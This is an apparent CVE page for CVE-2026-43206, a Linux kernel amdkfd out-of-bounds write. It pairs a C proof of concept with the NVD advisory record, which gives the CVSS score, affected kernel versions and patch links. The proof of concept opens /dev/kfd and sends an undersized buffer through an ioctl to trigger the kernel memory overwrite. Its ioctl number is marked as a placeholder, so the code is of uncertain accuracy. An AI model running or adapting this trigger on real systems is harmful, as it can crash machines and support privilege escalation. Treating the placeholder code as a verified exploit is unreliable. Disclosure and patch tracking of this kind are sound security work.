CVE-2026-43206

/* * PoC for CVE-2026-43206 * Trigger OOB write in kfd_event_page_set * This code attempts to trigger the vulnerability by passing a small buffer */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <string.h> #include <sys/ioctl.h> // Placeholder for the actual IOCTL command #define KFD_IOC_SET_EVENT_PAGE 0x8004544B struct kfd_set_event_page_args { uint64_t event_page_addr; uint64_t event_page_size; // Size that will be ignored/unchecked }; int main() { int fd = -1; char *small_buf = NULL; struct kfd_set_event_page_args args; // Open the KFD device fd = open("/dev/kfd", O_RDWR); if (fd < 0) { perror("[-] Failed to open /dev/kfd"); return 1; } printf("[+] Opened /dev/kfd\n"); // Allocate a buffer that is too small for the memset operation // The function expects KFD_SIGNAL_EVENT_LIMIT * 8 bytes small_buf = malloc(100); if (!small_buf) { perror("[-] Malloc failed"); close(fd); return 1; } printf("[+] Allocated small buffer\n"); args.event_page_addr = (uint64_t)small_buf; args.event_page_size = 100; // Insufficient size printf("[+] Triggering the vulnerability via IOCTL...\n"); // This call triggers the out-of-bounds write in the kernel if (ioctl(fd, KFD_IOC_SET_EVENT_PAGE, &args) != 0) { // The ioctl might fail due to the crash, or return error depending on implementation perror("[-] IOCTL failed (or system crashed)"); } else { printf("[+] IOCTL returned successfully\n"); } free(small_buf); close(fd); return 0; }

{"cve": {"id": "CVE-2026-43206", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T12:16:39.903", "lastModified": "2026-05-11T20:05:16.157", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amdkfd: Fix out-of-bounds write in kfd_event_page_set()\n\nThe kfd_event_page_set() function writes KFD_SIGNAL_EVENT_LIMIT * 8\nbytes via memset without checking the buffer size parameter. This allows\nunprivileged userspace to trigger an out-of bounds kernel memory write\nby passing a small buffer, leading to potential privilege\nescalation."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.17", "versionEndExcluding": "5.10.252", "matchCriteriaId": "AF5B1FA4-F352-4440-AD34-3CAF12D36F50"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.202", "matchCriteriaId": "4002FC2B-1456-4666-B240-0EBF590C4671"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.165", "matchCriteriaId": "797C7F46-D0BE-4FB8-A502-C5EF8E6B6654"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.128", "matchCriteriaId": "851E9353-6C09-4CC9-877E-E09DB164A3C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.75", "matchCriteriaId": "BCE16369-98ED-41CF-8995-DFDC10B288D2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.16", "matchCriteriaId": "B4B8CDA9-BADF-4CF5-8B3B-702DE8EEA40B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.6", "matchCriteriaId": "373EEEDA-FAA1-4FB4-B6ED-DB4DD99DBE67"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/3e04bc310d80b46eaf481f1fefcbcb37a187412d", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/4857c37c7ba9aa38b9a4c694e8bd8d0091c87940", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/4e72f419e4ed44cb3b60506752d8688c20a60a9b", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/75fb57efdd7863fffbc39db23e9cad7aafda26ed", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/8a70a26c9f34baea6c3199a9862ddaff4554a96d", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/b4034442cb090e4a980bdcc1540948606cbc951b", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/bfcd6b53e1f4feb182952f4ff9a137c36ceaf20b", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/de8d7a25cd2eb5875b1d8d4fbc7fe4b4138b781f", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}